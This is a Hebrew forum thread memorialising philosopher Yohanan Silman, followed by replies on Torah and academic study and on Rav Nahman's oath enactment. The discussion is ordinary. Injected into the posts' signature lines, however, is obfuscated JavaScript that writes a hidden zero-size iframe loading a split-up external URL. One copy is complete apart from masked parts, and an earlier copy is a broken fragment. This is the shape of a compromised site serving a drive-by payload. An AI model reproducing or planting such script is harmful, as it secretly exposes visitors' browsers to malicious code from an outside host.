פרופסור (הרב) יוחנן סילמן ע"ה

לפני שבוע עלה לישיבה של מעלה פרופסור יוחנן סילמן.

למד בעולם הישיבות, עשה את דרכו אל האוניברסיטה, שם למד ולימד פילוסופיה.

היה פרופסור לפילוסופיה באוניברסיטת בר אילן במשך עשרות שנים.

חיבר כמה מאמרים וספרים. התמחה בר' יהודה הלוי, עליו כתב מאמרים וספר. אך עיקר תרומתו לדעתי בתחום הפילוסופיה של ההלכה, שבה היה מאלו שיצרו את המחקר הראשוני וקבעו הגדרות יסוד.

ספרו "קול גדול ולא יסף" משלב את ידיעותיו התורניות הרחבות עם חשיבתו השיטתית כדי להגדיר דגמים יסודיים אודות כמה שאלות חשובות: האם התורה ניתנה כולה למשה בסיני או שהיא מתגלה, או מתפתחת, במשך הדורות?

אבחנה נוספת, שלמעשה כמובן היתה קיימת הרבה לפניו, אך חודשה וזכתה לפירסום על ידו, היא בין התפיסה ההסכמית לבין התפיסה המהותנית של איסורי התורה. האם מה שאסור הוא ענין של הגדרה בלבד, כשיטת הרמב"ם, או דבר קיים בפני עצמו, כמו שכמובן יחשבו המקובלים.

עם פטירתו, הלך לעולמו מראשוני דור דעה החדש, אלו שמנסים מחדש לשלב תורה ומחקר, מתוך יראת שמים.


***

המעניין ביותר נותר לא ידוע. מבחינה אקסיטנציאלית, כיצד מתמודד אדם חכם ובעל יושר אינטלקטואלי עם השאלות העומדות בפני מי שמכיר את הפילוסופיה ואת המחקר ההיסטורי? כיצד שומרים על נאמנות להלכה כאשר ערים לכך שאפשר לראותה כהתפתחות ואפילו לא תמיד כ"שיכלול"?

יתכן שהבעיה שלנו, חרדים ודתיים נאמנים ליראת שמים, אך במקביל פתוחים לעולם ולמדע, שאנו בודדים מטבענו. שאין לנו קהילה. שקשה לנו להשתלב במקום אחד מפני שאין מקום שבו יכולים להיקבץ יחד אלו שהם תלמידי חכמים, יראי ה' ופילוסופים. אולי רק מקום וירטואלי. כמו פה.

וכאן, בבית הוירטואלי שלנו, ראוי להזכיר לטובה את אחד מאלו שניסה לשלב בין תורה למחקר, ועלה בידו.

***
מן הראוי להזכיר ולסכם את עיקרי משנתו. ומי שיכול מוזמן...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

ממעמקים

טעיתי ותודה על התיקון. הרב סולוביצ'יק אכן הסתייג ממחקר אקדמי, אם כי לא תמיד קל להבדיל מהו תורני ומהו אקדמי. הוא כמובן השתמש הרבה מאד בידע פילוסופי.

באחד מספריו מתאר חיים פוטוק, שלמד בYU, את חוית הלימוד אצל הרב סולוביצ'יק ואת הסתייגותו מביקורת הטקסט, וכיצד הצליח לכפות על הרב לשמוע "חבורה" בצורה כזו. איני יודע אם זה היה תיאור של מעשה שהיה או מה שרצה שיהיה.

***
בעל בעמיו

זו אכן השאלה הגדולה. מה הם שיקולים תורניים, או "פנימיים", ומה הם כבר שיקולים חיצוניים.

האם שיוך שיקולים לכאן או לכאן יכול להשתנות?

אב לאחד השינויים הגדולים בתולדות ההלכה, שכבר צויין בעבר בפורום

(וכמדומה שגם פרופסור רוזנברג יבדלח"א כתב עליו)

הוא תקנת רב נחמן להשביע את הכופר בכל

(=תביעה ממונית שבה התובע מבקש את כספו, נניח בשל הלוואה, והנתבע מכחיש שהיתה הלוואה כזו, ואין עדים או שטר ולא כלום. מדין תורה אין נשבעין אלא על הודאה במקצת וכאן הוסיף רבה לחייב גם על תביעה מוכחשת לגמרי, מטעמים פסיכולוגיים ועל סמך שינוי תרבותי. העולם השתנה, האדם השתנה, והוא מסוגל יותר לשקר, בניגוד לתיאור הפסיכולוגי העולה מדין תורה).

האם רב נחמן השתמש בשיקולים חיצוניים? או שהוא אימץ שיקולים והכניסם לבית המדרש?

ואולי זה תלוי איפה אדם יושב?

והאם זה תלוי במיקום גיאוגרפי? אולי כן.

דומה שעיקר ההבדל הוא האדם שעוסק בתחום. האם הוא "משלנו" והאם מטרותיו "משלנו". ושוב, כפי שציינתי בעבר, בתחילת חגיגה יש לנו רשימה של תנאי מינימום שרק העומד בהם יכול להחשב ללומד תורה ומכריע בספקותיה. והם קבלת האמונה שהתורה היא למשה מסיני מידי ה'. (וכמובן שהיא תורה, כלומר מחייבת וקובעת התנהגות).

_נוספה הערה חשובה ותוקן שם אמורא________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");